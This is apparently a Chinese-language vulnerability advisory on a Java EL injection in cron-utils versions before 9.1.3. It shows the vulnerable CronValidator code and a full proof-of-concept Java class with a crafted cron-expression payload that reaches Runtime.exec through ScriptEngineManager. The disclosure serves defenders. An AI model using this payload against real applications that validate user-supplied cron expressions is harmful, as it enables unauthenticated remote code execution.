Cron Utils是Jmrozanec个人开发者的一个用于验证、解析、迁移 Cron 表达式的Java代码库。
Cron-utils 9.1.3之前版本存在注入漏洞,攻击者可利用该漏洞能够注入任意的Java EL表达式,从而导致未经身份验证的远程代码执行(RCE)漏洞。只有使用@Cron注释验证不可信Cron表达式的项目才会受到影响。
远程执行代码-JavaEL注入
如果开发人员使用@Cron注释来验证用户控制的Cron表达式,则攻击者将能够注入和运行任意Java表达式语言(EL)表达式。
Cron-Utils使用Java Bean验证(JSR 380)自定义约束验证器,例如CronValidator。构建自定义约束违反错误消息时,重要的是要了解它们支持不同类型的插值,包括Java EL表达式。因此,如果攻击者可以将任意数据注入传递给ConstraintValidatorContext.buildConstraintViolationWithTemplate()的错误消息模板中,则他们将能够运行任意Java代码。不幸的是,通常将经过验证的(因此通常是不可信任的)Bean属性流入自定义错误消息中。在这种情况下,如果在解析表达式时抛出异常,则CronValidator会在自定义约束错误验证消息中包含正在验证的Cron表达式:
public boolean isValid(String value, ConstraintValidatorContext context) {
if (value == null) {
return true;
}
CronDefinition cronDefinition = CronDefinitionBuilder.instanceDefinitionFor(type);
CronParser cronParser = new CronParser(cronDefinition);
try {
cronParser.parse(value).validate();
return true;
} catch (IllegalArgumentException e) {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
return false;
}
}
PoC:
复现漏洞,可以使用以下测试代码:
import com.cronutils.validation.Cron;
import com.cronutils.model.CronType;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
public class Main {
public static class Job {
@Cron(type = CronType.SPRING)
private String cronExpression;
String getCronExpression() {
return cronExpression;
}
void setCronExpression(String cronExpression) {
this.cronExpression = cronExpression;
}
}
public static void main(String[] args) {
Job job = new Job();
job.setCronExpression("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
Validator validator = factory.getValidator();
Set<ConstraintViolation<Job>> constraintViolations = validator.validate(job);
String errmsg = constraintViolations.iterator().next().getMessage();
System.out.println(errmsg);
}
}
如果使用cron-utils的@Cron批注来验证用户控制的表达式,它将使攻击者能够执行任意Java代码。
为了触发异常并使有效载荷保持小写并允许空白,我们需要使用以下形式的有效载荷:
java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
cron字段:
java.lang.Runtime.getRuntime().exec('touch
/tmp/pwned');
//
4
5
[${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
这将导致异常,例如:
Failed to parse 'java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [java.lang.UNIXProcess@28a53635]'. Invalid chars in expression! Expression: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH Invalid chars: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH
ref: